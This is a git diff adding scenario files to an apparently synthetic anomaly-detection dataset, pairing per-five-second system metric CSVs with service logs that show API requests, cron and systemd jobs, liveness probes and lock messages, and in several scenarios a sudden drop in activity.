+Jul 02 12:00:45 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:00:50 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:00:55 CRON[5941]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:00 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:01:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:01:20 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:01:25 web-app[1234]: GET /api/v1/user/17 status=200 OK +Jul 02 12:01:30 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:01:35 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:01:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:50 CRON[5941]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:55 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:02:05 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:02:10 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:02:15 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:02:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:25 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:02:30 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:02:35 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:02:40 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:02:45 CRON[5941]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:02:55 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:00 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:03:05 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:03:10 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:03:15 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:03:20 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 02 12:03:25 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:03:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:35 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:03:40 CRON[5941]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe failed for pod web-app-deployment-xyz, response code: 500 +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 kubelet[2345]: INFO Liveness probe failed for pod web-app-deployment-xyz, response code: 500 diff --git a/anom_dataset/scenario_12/anom_12_25.csv b/anom_dataset/scenario_12/anom_12_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..680aaa27e0a15ab15cdd6d6bf831738290c7b302 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,22.044055884710577,46.959166939286035,21.719305391448664,0.8920507603564918,1.2632015077497476 +2025-07-02T12:00:05Z,22.59310547350214,46.81025163798976,43.29844264186153,1.1999981822560895,0.8044286788625148 +2025-07-02T12:00:10Z,25.92346176860287,49.78947535729022,41.742747175743055,1.2732687822774191,0.9839325261169968 +2025-07-02T12:00:15Z,29.932179083842023,45.30577608917674,44.758505111781005,1.4251784147144333,1.0585651754369163 +2025-07-02T12:00:20Z,20.287177764926184,49.83647312317395,33.56378505847975,1.29888236774971,1.1220233812623712 +2025-07-02T12:00:25Z,24.792873583943877,51.005193917155104,36.83398720391659,1.3778302104725415,0.8307911121668508 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+2025-07-02T12:07:10Z,1.1807458778053632,42.02995740848758,0.04398717431674676,0.054130355628493367,0.029061023293075083 +2025-07-02T12:07:15Z,0.38924875147608706,42.89100430529649,0.010161435068151314,0.09989190817842333,0.06620785510081165 +2025-07-02T12:07:20Z,0.8474389670446802,42.83297281805008,0.17397529100757336,0.016799702555036402,0.006538464085862084 +2025-07-02T12:07:25Z,0.28091838624838394,42.707064628501236,0.23413530445955139,0.06996928124590814,0.05890425174293018 diff --git a/anom_dataset/scenario_12/anom_12_25.log b/anom_dataset/scenario_12/anom_12_25.log new file mode 100644 index 0000000000000000000000000000000000000000..19fae10912fa2c0ab1f74554e8b8c3a46d05304d --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_25.log @@ -0,0 +1,26 @@ +Jul 02 12:00:00 web-app[1357]: GET /api/v1/user/46 status=200 OK +Jul 02 12:00:17 web-app[1357]: GET /api/v1/user/18 status=200 OK +Jul 02 12:00:18 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:20 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:00:41 web-app[1357]: GET /api/v1/user/16 status=200 OK +Jul 02 12:00:59 web-app[1357]: GET /api/v1/user/29 status=200 OK +Jul 02 12:01:23 web-app[1357]: GET /api/v1/user/21 status=200 OK +Jul 02 12:01:32 web-app[1357]: GET /api/v1/user/30 status=200 OK +Jul 02 12:01:44 web-app[1357]: GET /api/v1/user/23 status=200 OK +Jul 02 12:02:01 web-app[1357]: GET /api/v1/user/19 status=200 OK +Jul 02 12:02:04 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:11 web-app[1357]: GET /api/v1/user/48 status=200 OK +Jul 02 12:02:13 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:26 web-app[1357]: GET /api/v1/user/41 status=200 OK +Jul 02 12:02:29 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:46 web-app[1357]: GET /api/v1/user/24 status=200 OK +Jul 02 12:02:48 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:08 web-app[1357]: GET /api/v1/user/13 status=200 OK +Jul 02 12:03:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/anom_dataset/scenario_12/anom_12_26.csv b/anom_dataset/scenario_12/anom_12_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ddce171b2d72097197b6f35faf227493af17a73 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-07-03T10:01:40Z,10.4,44.91,34.75,0.65,1.4 +2025-07-03T10:01:45Z,15.43,44.72,19.07,0.59,1.16 +2025-07-03T10:01:50Z,19.97,43.62,13.56,0.55,1.29 +2025-07-03T10:01:55Z,28.87,38.95,19.27,1.46,0.81 +2025-07-03T10:02:00Z,27.74,43.51,26.93,0.62,0.97 +2025-07-03T10:02:05Z,25.79,37.47,17.43,0.73,0.59 +2025-07-03T10:02:10Z,22.88,41.15,33.88,1.14,1.36 +2025-07-03T10:02:15Z,21.14,36.55,19.42,0.66,1.4 +2025-07-03T10:02:20Z,21.86,44.68,15.16,0.83,1.39 +2025-07-03T10:02:25Z,21.54,39.75,13.22,1.35,0.52 +2025-07-03T10:02:30Z,20.39,37.45,39.64,0.67,0.55 +2025-07-03T10:02:35Z,25.28,35.39,27.96,0.56,0.93 +2025-07-03T10:02:40Z,29.57,43.77,30.64,0.53,1.24 +2025-07-03T10:02:45Z,29.83,36.2,30.13,0.62,0.79 +2025-07-03T10:02:50Z,10.4,41.03,34.95,0.93,0.82 +2025-07-03T10:02:55Z,11.56,37.03,37.46,1.04,0.94 +2025-07-03T10:03:00Z,10.33,35.3,32.38,0.65,0.65 +2025-07-03T10:03:05Z,29.08,40.67,17.61,1.13,0.91 +2025-07-03T10:03:10Z,15.67,35.21,39.0,1.37,0.69 +2025-07-03T10:03:15Z,21.09,40.47,22.96,1.44,0.95 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+2025-07-03T10:06:45Z,0.36,40.37,0.09,0.01,0.01 +2025-07-03T10:06:50Z,0.44,40.49,0.02,0.02,0.04 +2025-07-03T10:06:55Z,0.26,40.53,0.02,0.03,0.01 +2025-07-03T10:07:00Z,0.82,40.08,0.05,0.02,0.01 +2025-07-03T10:07:05Z,0.49,40.02,0.05,0.04,0.02 +2025-07-03T10:07:10Z,0.83,40.63,0.07,0.01,0.03 +2025-07-03T10:07:15Z,0.79,40.09,0.04,0.01,0.0 +2025-07-03T10:07:20Z,0.5,40.39,0.06,0.05,0.05 +2025-07-03T10:07:25Z,0.61,40.26,0.08,0.01,0.01 diff --git a/anom_dataset/scenario_12/anom_12_26.log b/anom_dataset/scenario_12/anom_12_26.log new file mode 100644 index 0000000000000000000000000000000000000000..2ea84e653788b2d1501acc8e29e65b9cfd85a07a --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_26.log @@ -0,0 +1,14 @@ +Jul 03 10:00:00 app-worker-1[1458]: INFO Processing request for user 47 +Jul 03 10:00:08 app-worker-1[1458]: GET /api/v2/user/47/data status=200 OK +Jul 03 10:00:53 CRON[4431]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:14 app-worker-1[1458]: INFO Processing request for user 22 +Jul 03 10:01:31 app-worker-1[1458]: GET /api/v2/user/22/data status=200 OK +Jul 03 10:02:00 app-worker-1[1458]: INFO Processing request for user 48 +Jul 03 10:02:09 app-worker-1[1458]: GET /api/v2/user/48/data status=200 OK +Jul 03 10:02:39 CRON[4431]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:04 CRON[4431]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:51 app-worker-1[1458]: INFO Processing request for user 12 +Jul 03 10:04:09 app-worker-1[1458]: GET /api/v2/user/12/data status=200 OK +Jul 03 10:04:42 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:44 kubelet[2345]: INFO Liveness probe succeeded for pod app-worker-1-pod +Jul 03 10:06:42 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_12/anom_12_27.csv b/anom_dataset/scenario_12/anom_12_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..c77c807f2cdb8afbfbe5a872efc03527ec1253c2 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-24T10:00:00Z,24.39,44.78,36.56,0.93,0.94 +2025-07-24T10:00:05Z,25.12,42.57,34.94,1.01,1.18 +2025-07-24T10:00:10Z,29.56,40.8,30.13,0.85,1.32 +2025-07-24T10:00:15Z,34.91,43.43,26.94,1.14,1.47 +2025-07-24T10:00:20Z,22.05,42.3,26.9,1.27,1.13 +2025-07-24T10:00:25Z,28.06,44.14,21.45,0.81,0.97 +2025-07-24T10:00:30Z,18.49,40.67,47.59,1.5,1.44 +2025-07-24T10:00:35Z,20.93,44.19,41.22,1.48,1.47 +2025-07-24T10:00:40Z,23.28,40.26,26.97,0.92,1.11 +2025-07-24T10:00:45Z,30.93,41.22,32.71,0.9,1.17 +2025-07-24T10:00:50Z,32.85,42.47,32.89,0.99,1.07 +2025-07-24T10:00:55Z,34.05,44.29,36.69,0.81,1.38 +2025-07-24T10:01:00Z,28.12,42.09,30.96,1.34,0.88 +2025-07-24T10:01:05Z,19.54,42.41,32.03,0.93,1.01 +2025-07-24T10:01:10Z,33.7,40.74,33.04,1.18,0.8 +2025-07-24T10:01:15Z,21.11,41.13,42.43,1.35,1.33 +2025-07-24T10:01:20Z,22.64,43.68,30.36,1.44,1.0 +2025-07-24T10:01:25Z,22.05,44.12,27.14,0.99,0.96 +2025-07-24T10:01:30Z,33.68,44.22,47.63,1.14,1.08 +2025-07-24T10:01:35Z,24.09,43.46,32.45,1.03,1.06 +2025-07-24T10:01:40Z,30.47,44.73,29.48,1.37,1.14 +2025-07-24T10:01:45Z,15.99,42.95,45.81,1.44,1.27 +2025-07-24T10:01:50Z,25.15,43.25,38.62,0.87,1.16 +2025-07-24T10:01:55Z,21.36,44.18,34.05,1.04,0.82 +2025-07-24T10:02:00Z,26.57,40.05,47.25,1.02,0.91 +2025-07-24T10:02:05Z,22.41,44.73,47.71,1.46,1.42 +2025-07-24T10:02:10Z,19.56,40.32,34.33,0.92,1.49 +2025-07-24T10:02:15Z,15.43,40.01,33.33,1.13,1.0 +2025-07-24T10:02:20Z,21.93,43.2,38.86,1.22,0.88 +2025-07-24T10:02:25Z,19.37,42.54,38.31,1.29,0.87 +2025-07-24T10:02:30Z,16.0,41.4,23.95,0.95,0.91 +2025-07-24T10:02:35Z,24.15,40.36,37.14,0.86,1.15 +2025-07-24T10:02:40Z,30.09,43.0,40.28,1.44,1.37 +2025-07-24T10:02:45Z,28.72,41.93,46.79,1.34,1.01 +2025-07-24T10:02:50Z,21.47,41.25,41.38,1.42,0.91 +2025-07-24T10:02:55Z,17.08,40.29,44.76,1.32,1.43 +2025-07-24T10:03:00Z,23.62,43.88,23.01,1.39,0.95 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+2025-07-24T10:04:45Z,0.27,45.69,0.17,0.03,0.01 +2025-07-24T10:04:50Z,0.84,44.38,0.3,0.05,0.08 +2025-07-24T10:04:55Z,0.81,43.81,0.41,0.06,0.09 +2025-07-24T10:05:00Z,0.28,43.18,0.49,0.07,0.02 +2025-07-24T10:05:05Z,0.54,45.49,0.14,0.06,0.08 +2025-07-24T10:05:10Z,0.66,41.19,0.42,0.0,0.0 +2025-07-24T10:05:15Z,0.16,43.69,0.39,0.05,0.02 +2025-07-24T10:05:20Z,0.27,43.77,0.2,0.03,0.1 +2025-07-24T10:05:25Z,0.31,41.4,0.47,0.09,0.03 +2025-07-24T10:05:30Z,1.18,43.23,0.45,0.04,0.02 +2025-07-24T10:05:35Z,0.39,41.37,0.23,0.07,0.06 +2025-07-24T10:05:40Z,0.85,44.18,0.13,0.04,0.02 +2025-07-24T10:05:45Z,0.28,44.27,0.01,0.07,0.05 +2025-07-24T10:05:50Z,0.71,44.91,0.11,0.1,0.0 +2025-07-24T10:05:55Z,1.46,41.17,0.44,0.07,0.03 +2025-07-24T10:06:00Z,1.17,45.47,0.14,0.1,0.01 +2025-07-24T10:06:05Z,1.19,45.18,0.0,0.07,0.09 +2025-07-24T10:06:10Z,0.34,44.55,0.31,0.08,0.03 +2025-07-24T10:06:15Z,0.52,45.85,0.25,0.06,0.04 +2025-07-24T10:06:20Z,1.04,42.11,0.04,0.09,0.01 +2025-07-24T10:06:25Z,0.56,41.75,0.01,0.03,0.06 +2025-07-24T10:06:30Z,0.66,42.97,0.17,0.06,0.07 +2025-07-24T10:06:35Z,0.35,41.32,0.23,0.07,0.01 +2025-07-24T10:06:40Z,0.33,44.27,0.22,0.02,0.05 +2025-07-24T10:06:45Z,0.54,41.67,0.19,0.05,0.01 +2025-07-24T10:06:50Z,1.38,44.71,0.33,0.1,0.08 +2025-07-24T10:06:55Z,1.32,45.91,0.3,0.02,0.07 +2025-07-24T10:07:00Z,0.26,41.39,0.24,0.07,0.08 +2025-07-24T10:07:05Z,1.06,42.31,0.01,0.06,0.07 +2025-07-24T10:07:10Z,1.27,43.75,0.39,0.07,0.03 +2025-07-24T10:07:15Z,0.22,43.28,0.41,0.04,0.07 +2025-07-24T10:07:20Z,1.35,42.55,0.2,0.04,0.01 +2025-07-24T10:07:25Z,0.96,42.02,0.29,0.04,0.06 diff --git a/anom_dataset/scenario_12/anom_12_27.log b/anom_dataset/scenario_12/anom_12_27.log new file mode 100644 index 0000000000000000000000000000000000000000..fc67d959f126a9690b918782efd8f15681917f00 --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_27.log @@ -0,0 +1,27 @@ +Jul 24 10:00:00 systemd[1]: Starting daily user cleanup... +Jul 24 10:00:00 web-app[3456]: GET /api/v2/user/46 status=200 OK +Jul 24 10:00:10 web-app[3456]: INFO Processing item 111 from queue +Jul 24 10:00:20 web-app[3456]: GET /api/v2/user/16 status=200 OK +Jul 24 10:00:40 web-app[3456]: GET /api/v2/user/19 status=200 OK +Jul 24 10:00:45 systemd[1]: Starting daily user cleanup... +Jul 24 10:00:45 web-app[3456]: INFO Processing item 157 from queue +Jul 24 10:01:00 web-app[3456]: GET /api/v2/user/18 status=200 OK +Jul 24 10:01:20 web-app[3456]: GET /api/v2/user/10 status=200 OK +Jul 24 10:01:20 web-app[3456]: INFO Processing item 102 from queue +Jul 24 10:01:30 systemd[1]: Starting daily user cleanup... +Jul 24 10:01:40 web-app[3456]: GET /api/v2/user/20 status=200 OK +Jul 24 10:01:55 web-app[3456]: INFO Processing item 150 from queue +Jul 24 10:02:00 web-app[3456]: GET /api/v2/user/26 status=200 OK +Jul 24 10:02:15 systemd[1]: Starting daily user cleanup... +Jul 24 10:02:20 web-app[3456]: GET /api/v2/user/16 status=200 OK +Jul 24 10:02:30 web-app[3456]: INFO Processing item 153 from queue +Jul 24 10:02:40 web-app[3456]: GET /api/v2/user/36 status=200 OK +Jul 24 10:03:00 systemd[1]: Starting daily user cleanup... +Jul 24 10:03:00 web-app[3456]: GET /api/v2/user/48 status=200 OK +Jul 24 10:03:05 web-app[3456]: INFO Processing item 142 from queue +Jul 24 10:03:20 web-app[3456]: GET /api/v2/user/29 status=200 OK +Jul 24 10:03:40 web-app[3456]: GET /api/v2/user/31 status=200 OK +Jul 24 10:03:40 web-app[3456]: INFO Processing item 167 from queue +Jul 24 10:03:45 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 24 10:05:25 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 24 10:07:05 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_12/anom_12_28.csv b/anom_dataset/scenario_12/anom_12_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..4e1be4eeb267b2acd368fc693896891dbcd46e5f --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,24.39,42.27,13.95,0.94,0.78 +2025-07-02T12:00:05Z,25.12,47.79,27.14,1.18,0.89 +2025-07-02T12:00:10Z,29.56,49.07,30.28,1.32,0.94 +2025-07-02T12:00:15Z,34.91,49.64,36.79,1.47,0.73 +2025-07-02T12:00:20Z,22.05,48.43,31.38,1.13,0.77 +2025-07-02T12:00:25Z,28.06,51.21,34.76,0.97,0.79 +2025-07-02T12:00:30Z,18.49,47.81,13.01,1.44,1.16 +2025-07-02T12:00:35Z,20.93,48.5,18.12,1.47,0.82 +2025-07-02T12:00:40Z,23.28,50.35,20.28,1.11,1.02 +2025-07-02T12:00:45Z,30.93,41.99,17.78,1.17,0.78 +2025-07-02T12:00:50Z,32.85,51.16,25.24,1.07,0.96 +2025-07-02T12:00:55Z,34.05,42.07,18.93,1.38,1.28 +2025-07-02T12:01:00Z,28.12,41.12,38.69,0.88,1.16 +2025-07-02T12:01:05Z,19.54,47.12,33.51,1.01,1.17 +2025-07-02T12:01:10Z,33.7,45.4,17.61,0.8,0.8 +2025-07-02T12:01:15Z,21.11,42.7,15.73,1.33,0.88 +2025-07-02T12:01:20Z,22.64,40.2,19.14,1.0,1.1 +2025-07-02T12:01:25Z,22.05,45.07,11.97,0.96,0.9 +2025-07-02T12:01:30Z,33.68,42.58,24.37,1.08,0.94 +2025-07-02T12:01:35Z,24.09,40.92,30.0,1.06,0.81 +2025-07-02T12:01:40Z,30.47,38.77,10.62,1.14,0.8 +2025-07-02T12:01:45Z,15.99,45.82,39.89,1.27,0.89 +2025-07-02T12:01:50Z,25.15,45.25,39.08,1.16,1.25 +2025-07-02T12:01:55Z,21.36,46.29,15.28,0.82,1.22 +2025-07-02T12:02:00Z,26.57,42.68,14.38,0.91,0.77 +2025-07-02T12:02:05Z,22.41,43.97,18.28,1.42,1.11 +2025-07-02T12:02:10Z,19.56,43.21,10.48,1.49,1.2 +2025-07-02T12:02:15Z,15.43,43.08,33.0,1.0,0.75 +2025-07-02T12:02:20Z,21.93,40.81,15.49,0.88,1.24 +2025-07-02T12:02:25Z,19.37,40.23,26.43,0.87,1.07 +2025-07-02T12:02:30Z,16.0,45.73,33.57,0.91,1.26 +2025-07-02T12:02:35Z,24.15,45.61,37.32,1.15,1.0 +2025-07-02T12:02:40Z,30.09,44.39,18.1,1.37,0.87 +2025-07-02T12:02:45Z,28.72,43.67,24.61,1.01,0.99 +2025-07-02T12:02:50Z,21.47,43.94,19.7,0.91,1.0 +2025-07-02T12:02:55Z,17.08,42.32,34.48,1.43,0.71 +2025-07-02T12:03:00Z,23.62,51.16,37.6,0.95,1.21 +2025-07-02T12:03:05Z,15.49,49.07,12.89,1.04,1.26 +2025-07-02T12:03:10Z,33.18,44.27,20.23,0.89,1.28 +2025-07-02T12:03:15Z,20.8,46.04,19.43,0.91,0.74 +2025-07-02T12:03:20Z,28.92,45.87,38.16,1.47,0.76 +2025-07-02T12:03:25Z,27.98,46.84,15.22,1.22,0.98 +2025-07-02T12:03:30Z,33.31,44.58,24.2,1.42,1.26 +2025-07-02T12:03:35Z,23.75,44.53,27.93,1.44,1.11 +2025-07-02T12:03:40Z,32.27,44.45,31.1,0.89,1.04 +2025-07-02T12:03:45Z,34.13,47.16,16.54,1.37,0.96 +2025-07-02T12:03:50Z,25.3,42.73,12.37,1.31,1.24 +2025-07-02T12:03:55Z,18.2,41.27,37.63,1.27,0.72 +2025-07-02T12:04:00Z,28.72,47.78,33.12,0.89,1.02 +2025-07-02T12:04:05Z,24.19,42.45,36.59,0.89,1.03 +2025-07-02T12:04:10Z,31.55,41.28,32.15,1.27,0.75 +2025-07-02T12:04:15Z,17.69,46.62,35.38,1.35,0.97 +2025-07-02T12:04:20Z,31.74,44.21,21.85,1.32,0.74 +2025-07-02T12:04:25Z,16.02,42.77,24.22,0.86,1.08 +2025-07-02T12:04:30Z,19.87,47.33,33.08,1.5,1.09 +2025-07-02T12:04:35Z,24.86,47.73,37.58,0.84,1.17 +2025-07-02T12:04:40Z,32.15,43.58,29.77,1.15,0.72 +2025-07-02T12:04:45Z,23.34,43.62,36.02,0.89,1.24 +2025-07-02T12:04:50Z,24.63,45.87,35.73,1.17,1.2 +2025-07-02T12:04:55Z,17.94,46.1,34.9,1.15,1.13 +2025-07-02T12:05:00Z,1.46,46.1,0.49,0.02,0.06 +2025-07-02T12:05:05Z,0.41,46.1,0.14,0.03,0.09 +2025-07-02T12:05:10Z,0.31,46.1,0.42,0.05,0.03 +2025-07-02T12:05:15Z,0.65,46.1,0.39,0.08,0.06 +2025-07-02T12:05:20Z,0.19,46.1,0.2,0.07,0.07 +2025-07-02T12:05:25Z,1.02,46.1,0.47,0.07,0.02 +2025-07-02T12:05:30Z,0.29,46.1,0.45,0.04,0.05 +2025-07-02T12:05:35Z,1.14,46.1,0.23,0.05,0.1 +2025-07-02T12:05:40Z,1.48,46.1,0.13,0.07,0.02 +2025-07-02T12:05:45Z,0.21,46.1,0.01,0.01,0.07 +2025-07-02T12:05:50Z,0.47,46.1,0.11,0.09,0.06 +2025-07-02T12:05:55Z,0.87,46.1,0.44,0.02,0.07 +2025-07-02T12:06:00Z,0.74,46.1,0.14,0.03,0.04 +2025-07-02T12:06:05Z,0.54,46.1,0.0,0.05,0.04 +2025-07-02T12:06:10Z,0.39,46.1,0.31,0.06,0.04 +2025-07-02T12:06:15Z,1.33,46.1,0.25,0.07,0.08 +2025-07-02T12:06:20Z,1.46,46.1,0.04,0.06,0.07 +2025-07-02T12:06:25Z,0.42,46.1,0.01,0.0,0.05 +2025-07-02T12:06:30Z,0.96,46.1,0.17,0.05,0.05 +2025-07-02T12:06:35Z,0.92,46.1,0.23,0.03,0.03 +2025-07-02T12:06:40Z,0.54,46.1,0.22,0.09,0.02 +2025-07-02T12:06:45Z,0.4,46.1,0.19,0.04,0.05 +2025-07-02T12:06:50Z,1.28,46.1,0.33,0.07,0.07 +2025-07-02T12:06:55Z,1.14,46.1,0.3,0.04,0.04 +2025-07-02T12:07:00Z,0.45,46.1,0.24,0.07,0.04 +2025-07-02T12:07:05Z,0.51,46.1,0.01,0.1,0.02 +2025-07-02T12:07:10Z,0.36,46.1,0.39,0.07,0.01 +2025-07-02T12:07:15Z,0.58,46.1,0.41,0.1,0.01 +2025-07-02T12:07:20Z,0.95,46.1,0.2,0.07,0.08 +2025-07-02T12:07:25Z,1.24,46.1,0.29,0.08,0.09 diff --git a/anom_dataset/scenario_12/anom_12_28.log b/anom_dataset/scenario_12/anom_12_28.log new file mode 100644 index 0000000000000000000000000000000000000000..2eff3fc50b5abef6e97baf3de41e71928814493c --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_28.log @@ -0,0 +1,40 @@ +Jul 02 12:00:01 web-app[1234]: GET /api/v1/user/16 status=200 OK +Jul 02 12:00:17 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:00:24 web-app[1234]: GET /api/v1/user/25 status=200 OK +Jul 02 12:00:27 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:00:36 web-app[1234]: GET /api/v1/user/30 status=200 OK +Jul 02 12:00:41 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 02 12:00:48 web-app[1234]: GET /api/v1/user/35 status=200 OK +Jul 02 12:00:53 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 02 12:00:54 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:00:57 web-app[1234]: GET /api/v1/user/37 status=200 OK +Jul 02 12:01:05 web-app[1234]: GET /api/v1/user/33 status=200 OK +Jul 02 12:01:09 web-app[1234]: GET /api/v1/user/28 status=200 OK +Jul 02 12:01:12 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:21 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 02 12:01:32 web-app[1234]: GET /api/v1/user/24 status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:41 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:01 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 02 12:02:18 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:19 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:44 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:54 web-app[1234]: GET /api/v1/user/28 status=200 OK +Jul 02 12:03:00 web-app[1234]: GET /api/v1/user/28 status=200 OK +Jul 02 12:03:13 web-app[1234]: GET /api/v1/user/33 status=200 OK +Jul 02 12:03:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:26 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:29 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:31 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 02 12:03:34 web-app[1234]: GET /api/v1/user/36 status=200 OK +Jul 02 12:03:35 web-app[1234]: GET /api/v1/user/39 status=200 OK +Jul 02 12:03:36 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:03:37 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:38 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:03:47 web-app[1234]: GET /api/v1/user/39 status=200 OK +Jul 02 12:03:54 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:03:58 web-app[1234]: GET /api/v1/user/36 status=200 OK +Jul 02 12:04:22 web-app[1234]: GET /api/v1/user/19 status=200 OK +Jul 02 12:04:39 web-app[1234]: GET /api/v1/user/30 status=200 OK +Jul 02 12:04:52 web-app[1234]: GET /api/v1/user/23 status=200 OK diff --git a/anom_dataset/scenario_12/anom_12_3.csv b/anom_dataset/scenario_12/anom_12_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..4edad0471f3c018c0dc8be347fd8c3bec9d945fd --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T09:30:00Z,39.12281803210881,49.97982223791588,38.95495284451846,1.635835643736281,2.1578982450496236 +2025-08-17T09:30:05Z,30.815349708170746,59.178515458398294,37.66983761176195,1.7009236035772703,2.029893526457135 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a/anom_dataset/scenario_12/anom_12_3.log b/anom_dataset/scenario_12/anom_12_3.log new file mode 100644 index 0000000000000000000000000000000000000000..7d9ca0d81a7b7af30acb53d544ad345d5d3e3e7d --- /dev/null +++ b/anom_dataset/scenario_12/anom_12_3.log @@ -0,0 +1,39 @@ +Aug 17 09:30:00 payment-service[2345]: INFO: Acquired lock on resource: account_balance. +Aug 17 09:30:03 payment-service[2345]: INFO: Requesting lock on resource: transaction_history. +Aug 17 09:30:14 inventory-service[3456]: INFO: Acquired lock on resource: transaction_history. +Aug 17 09:30:23 inventory-service[3456]: INFO: Inventory check for product_id "1245". +Aug 17 